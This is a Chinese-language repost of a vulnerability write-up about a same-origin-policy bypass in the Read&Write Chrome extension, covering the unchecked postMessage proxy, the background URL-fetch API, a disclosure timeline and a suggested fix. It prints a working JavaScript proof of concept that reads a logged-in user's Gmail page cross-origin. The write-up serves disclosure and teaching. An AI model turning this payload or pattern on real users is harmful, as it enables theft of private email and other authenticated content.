您好,登錄后才能下訂單哦!
本篇文章給大家分享的是有關發現Chrome瀏覽器閱讀輔助插件SOP繞過漏洞的示例分析,小編覺得挺實用的,因此分享給大家學習,希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。
下面講述的是作者發現谷歌瀏覽器Chrome閱讀輔助插件(Read&Write Chrome extension)1.8.0.139版本同源策略(SOP)繞過漏洞的過程。該漏洞在于Read&Write插件缺少對正常交互網頁請求源的安全檢查,導致任意網頁都可以調用Read&Write插件的后臺特權頁面API來執行多種存在風險的操作。由于該版本插件的在線下載使用量較大,在漏洞上報前估計有八百萬用戶受到影響。
比如,利用名為 “thGetVoices”方法的后臺API調用方式,可以用插件執行一個任意URL鏈接的檢索,并用postMessage方式來進行響應通信。通過這種方式的API惡意調用,攻擊者可以劫持Read&Write插件去讀取一些惡意且未經驗證的會話數據。
作為驗證,作者在文末制作了一個漏洞利用PoC視頻,在安裝了存在該漏洞的Read&Write插件之后,在進行應用操作時,可以利用漏洞遠程讀取到用戶的Gmail郵箱地址信息。在漏洞上報之后,Read&Write插件開發方Texthelp公司迅速修復了漏洞,并于第二天釋出了更新補丁。目前,新版本的Read&Write插件已不存在該漏洞。
Chrome的Read&Write插件利用名為“inject.js”的Google瀏覽器內置腳本(Content Script)來向諸如Google Docs在內的各種在線文檔頁面插入一個自定義工具欄,以方便讀者用戶可以利用該插件進行文檔讀寫。默認情況下,此腳本將會向所有HTTP和HTTPS源執行插入,插件的使用說明中已定義了這一點:
...trimmed for brevity... "content_scripts": [ { "matches": [ "https://*/*", "http://*/*" ], "js": [ "inject.js" ], "run_at": "document_idle", "all_frames": true } ], ...trimmed for brevity...
在 “inject.js” 腳本文件中,存在一個事件監聽函數addEventListener,任何被插入 “inject.js” 腳本文件的交互網頁,如果以“postMessage”方式向插件發送響應消息,都能被該函數捕獲到:
window.addEventListener("message", this.onMessage)
這個addEventListener函數還會調用另一個名為“this.onMessage”的函數,該函數用于處理任意發往頁面窗口的postMessage消息:
function onMessage() { void 0 != event.source && void 0 != event.data && event.source == window && "1757FROM_PAGERW4G" == event.data.type && ("connect" == event.data.command ? chrome.extension.sendRequest(event.data, onRequest) : "ejectBar" == event.data.command ? ejectBar() : "th-closeBar" == event.data.command ? chrome.storage.sync.set({ enabledRW4GC: !1 }) : chrome.extension.sendRequest(event.data, function(e) { window.postMessage(e, "*") })) }
postMessage() 方法:window.postMessage() 方法可以安全地實現跨源通信。通常,對于兩個不同頁面的腳本需要具備同源策略才能通信。window.postMessage() 方法被調用時,會在所有頁面腳本執行完畢之后(e.g., 在該方法之后設置的事件、之前設置的timeout 事件,etc.)向目標窗口派發一個 MessageEvent 消息。 該MessageEvent消息有四個屬性需要注意: message 屬性表示該message 的類型; data 屬性為 window.postMessage 的第一個參數;origin 屬性表示調用window.postMessage() 方法時調用頁面的當前狀態; source 屬性記錄調用 window.postMessage() 方法的窗口信息。
在上述代碼中,可以看到onMessage()會把所有接收到的postMessage消息通過“chrome.extension.sendRequest”方法發送到Read&Write插件的后臺頁面。另外,對這些消息的響應將傳遞回onMessage()函數,然后再通過其傳遞回Web頁面中去。這個過程,實際上就在正常的Web訪問頁面和Read&Write插件后面之間形成了一個代理機制。
從Read&Write插件的使用說明中,可以發現Read&Write插件中存在很多后臺頁面:
...trimmed for brevity... "background": { "scripts": [ "assets/google-analytics-bundle.js", "assets/moment.js", "assets/thFamily3.js", "assets/thHashing.js", "assets/identity.js", "assets/socketmanager.js", "assets/thFunctionManager.js", "assets/equatio-latex-extractor.js", "assets/background.js", "assets/xmlIncludes/linq.js", "assets/xmlIncludes/jszip.js", "assets/xmlIncludes/jszip-load.js", "assets/xmlIncludes/jszip-deflate.js", "assets/xmlIncludes/jszip-inflate.js", "assets/xmlIncludes/ltxml.js", "assets/xmlIncludes/ltxml-extensions.js", "assets/xmlIncludes/testxml.js" ] }, ...trimmed for brevity...
雖然存在以上這么多后臺頁面進行消息偵聽和函數調用,我們選取其中一個可漏洞利用的即可,我們就來看看頁面 “background.js”吧:
...trimmed for brevity... chrome.extension.onRequest.addListener(function(e, t, o) { ...trimmed for brevity... if ("thGetVoices" === e.method && "1757FROM_PAGERW4G" == e.type) { if (g_voices.length > 0 && "true" !== e.payload.refresh) return void o({ method: "thGetVoices", type: "1757FROM_BGRW4G", payload: { response: g_voices } }); var c = new XMLHttpRequest; c.open("GET", e.payload.url, !0), c.onreadystatechange = function() { 4 == this.readyState && 200 == this.status && (g_voices = this.responseText.toString(), o({ method: "thGetVoices", type: "1757FROM_BGRW4G", payload: { response: g_voices } })) }, c.send() } ...trimmed for brevity...
上述代碼顯示,“chrome.extension.onRequest” .addListener監聽器被觸發時,其內部的“method” 參數會被設置成“thGetVoices”,“type”參數則被設置為“1757FROM_PAGERW4G”。如果這個觸發事件中的“payload.refresh”參數為“true” ,則其中的XMLHTTPRequest會被請求響應為代號為200的狀態碼。
利用上述方式的惡意調用,我們能向Read&Write插件的后臺頁面發送一個帶有任意URL鏈接的消息,該消息最終會通過HTTP方式進行響應,這樣,我們就能通過這種方式讀取用戶cookie信息,從而也可利用任意網頁加載Payload去竊取其它不同Web源中的用戶內容。以下就是一個跨域的信息竊取Payload:
function exploit_get(input_url) { return new Promise(function(resolve, reject) { var delete_callback = false; var event_listener_callback = function(event) { if ("data" in event && event.data.payload.response) { window.removeEventListener("message", event_listener_callback, false); resolve(event.data.payload.response); } }; window.addEventListener("message", event_listener_callback, false); window.postMessage({ type: "1757FROM_PAGERW4G", "method": "thGetVoices", "payload": { "refresh": "true", "url": input_url } }, "*"); }); } setTimeout(function() { exploit_get("https://mail.google.com/mail/u/0/h/").then(function(response_body) { alert("Gmail emails have been stolen!"); alert(response_body); }); }, 1000);
上述Payload代碼顯示,可以利用該漏洞去讀取跨域響應信息。這種情況下,我們用Gmail的 “Simple HTML”服務 來作示例。整個的漏洞利用方法就比較簡單直接了:把上面這個Payload代碼托管在任意網站上,安裝了存在該漏洞的Read&Write插件用戶,只要登錄進入Gmail郵箱,我就可以用上述Payload來讀取到用戶的相關Gmail郵箱內信息。整個過程是通過之前我們說明的,以恰當的Payload設置形成postMessage消息,并結合消息響應的事件監聽方式來實現的。由于Read&Write插件會向所有HTTP和HTTPS的Web頁面執行應用插入,所以,在 JavaScript Promises 異步編程方式下,可以通過“exploit_get()”函數能竊取到用戶經過認證的任意訪問過的頁面數據信息(這里假設無需特殊Header標頭,能通過HTTP GET方式進行訪問的頁面)
Promise :是異步編程的一種解決方案,比傳統的解決方案——回調函數和事件——更合理和更強大。所謂Promise,簡單說就是一個容器,里面保存著某個未來才會結束的事件(通常是一個異步操作)的結果。從語法上說,Promise 是一個對象,從它可以獲取異步操作的消息。Promise 提供統一的 API,各種異步操作都可以用同樣的方法進行處理。目前,Promise 已獲得 JavaScript 的原生支持,能很好兼容JavaScript編程應用。
雖然上面的示例引用了“thGetVoices”后臺方法調用,但這只是這些后臺頁面API調用時出現的一種漏洞利用方式。除了使用這種調用之外,還存在其它一些可以利用的漏洞方法:
如攻擊者還能利用 “thExtBGAjaxRequest” 方法,結合參數來執行“application/x-www-form-urlencoded;charset=UTF-8” 這類型任意的POST請求,并讀取消息響應內容
還有,攻擊者也能利用 “OpenTab”方法來打開大量網頁標簽來限制用戶的Web頁面訪問
該漏洞為一種常見瀏覽器插件安全隱患,谷歌的 Chrome 瀏覽器為了更方便地與插件API之間進行通信交互,插件在功能上就無形在自身后臺服務和正常訪問的Web頁面之間形成了一條代理通道,主要原因在于很多 Chrome 插件開發者在開發階段,缺乏對潛在敏感功能的調用請求源進行安全檢查。這種情況下,一種理想的解決方法就是把大部份邏輯處理操作放到Content Script中去,不用postMessage方式調用,而由事件偵聽函數按照API isTrusted屬性的適當驗證來進行觸發。這樣可以確保所有調用都是由用戶操作觸發的,而不是攻擊者偽造的。
由于時區原因,時間上可能有些出入,Texthelp在愛爾蘭的開發團隊其實在6月2號就收到漏洞,然后在6月3號就修復了漏洞。只是補丁在6月4號釋出,整個漏洞響應修復周期非常及時。
以上就是發現Chrome瀏覽器閱讀輔助插件SOP繞過漏洞的示例分析,小編相信有部分知識點可能是我們日常工作會見到或用到的。希望你能通過這篇文章學到更多知識。更多詳情敬請關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。